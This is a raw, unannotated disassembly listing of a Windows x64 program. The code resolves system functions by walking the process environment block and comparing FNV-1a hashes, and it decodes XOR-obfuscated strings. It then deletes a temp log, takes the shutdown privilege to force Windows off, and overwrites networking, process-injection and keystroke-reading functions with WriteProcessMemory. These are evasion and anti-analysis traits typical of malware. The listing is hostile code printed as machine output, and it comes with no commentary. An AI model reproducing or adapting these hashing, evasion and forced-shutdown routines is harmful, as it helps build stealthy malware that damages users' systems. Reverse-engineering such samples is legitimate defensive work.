cmp r8d, 0xe71d2bb0
je 0x14004307b
test r9d, r9d
jne 0x140043030
mov rax, qword [rax]
jmp 0x140043000
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
movabs rax, 0x8f7dc293f99fe050
mov qword [rbp - 0x80], rax
movabs rax, 0x4e234c39bee60264
mov qword [rbp - 0x78], rax
movabs rax, 0xa209acf68df18f13
mov qword [rbp + 0x560], rax
movabs rax, 0x4e236c03db967b30
mov qword [rbp + 0x568], rax
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp - 0x80], xmm0
lea r8, [rbp + 0x2e0]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1c8]
call fcn.140052ce0
nop
mov r8d, 2
lea rdx, [0x1400e231c]
mov rcx, rax
call fcn.140004060
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140003e60
nop
lea rcx, [rbp + 0xf0]
call fcn.140004050
mov r9d, 0x20000000
mov r8d, 0xffffffff
mov rdx, rax
mov rcx, rsi
call rbx
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x140043184
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004317f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004317f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0x10
jb 0x1400431e1
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400431dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400431dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140043276
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140043276
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140043271
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140043250
cmp r8d, 0xbad8ab23
je 0x14004327b
test r9d, r9d
jne 0x140043230
mov rax, qword [rax]
jmp 0x140043200
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x260]
mov r9, qword [rbp + 0x258]
sub rax, r9
mov dword [rsp + 0x20], eax
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140043346
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140043346
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140043341
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140043320
cmp r8d, 0x4ddde966
je 0x14004334b
test r9d, r9d
jne 0x140043300
mov rax, qword [rax]
jmp 0x1400432d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400433f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400433f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400433f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400433d0
cmp r8d, 0x4ddde966
je 0x1400433fb
test r9d, r9d
jne 0x1400433b0
mov rax, qword [rax]
jmp 0x140043380
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400434a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400434a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400434a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140043480
cmp r8d, 0x4ddde966
je 0x1400434ab
test r9d, r9d
jne 0x140043460
mov rax, qword [rax]
jmp 0x140043430
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r15
call rdx
nop
lea rcx, [rbp + 0x258]
call fcn.140055100
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x140043519
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043514
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043514
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov qword [rbp + 0x2a0], r12
mov qword [rbp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x290], 0
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x140043576
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043571
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043571
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x270], 0
lea rcx, [rbp + 0x3c8]
call fcn.140065810
lea rcx, [rbp + 0x3c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x1400435ed
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400435e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400435e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov qword [rbp + 0x210], r12
mov qword [rbp + 0x218], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x200], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x14004364a
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043645
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043645
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov qword [rbp + 0x230], r12
mov qword [rbp + 0x238], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x220], 0
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0x10
jb 0x1400436a7
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400436a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400436a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e0], 0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x140043704
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400436ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400436ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
mov qword [rbp + 0x2c0], r12
mov qword [rbp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2b0], 0
lea rcx, [rbp + 0x240]
call fcn.140055100
nop
lea rcx, [rbp + 0x4e0]
call fcn.140065950
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140043782
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004377d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004377d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8f00
lea rcx, str.log.temp
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1f8]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r8, [rbp + 0x2d4]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, 1
mov dword [rbp + 0x2d0], eax
mov dword [rbp + 0x2dc], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x2d0]
xor edx, edx
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, 0x80020003
mov ecx, 2
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.WININET.dll_InternetOpenA]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.WININET.dll_InternetOpenW]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.USER32.dll_FindWindowA]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.VCRUNTIME140.dll_memcpy]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.KERNEL32.dll_OpenProcess]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x400
mov r8, 0xffffffffffffffff
mov rdx, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x140043790
call fcn.140052980
int3
add rcx, 8
jmp 0x140041d00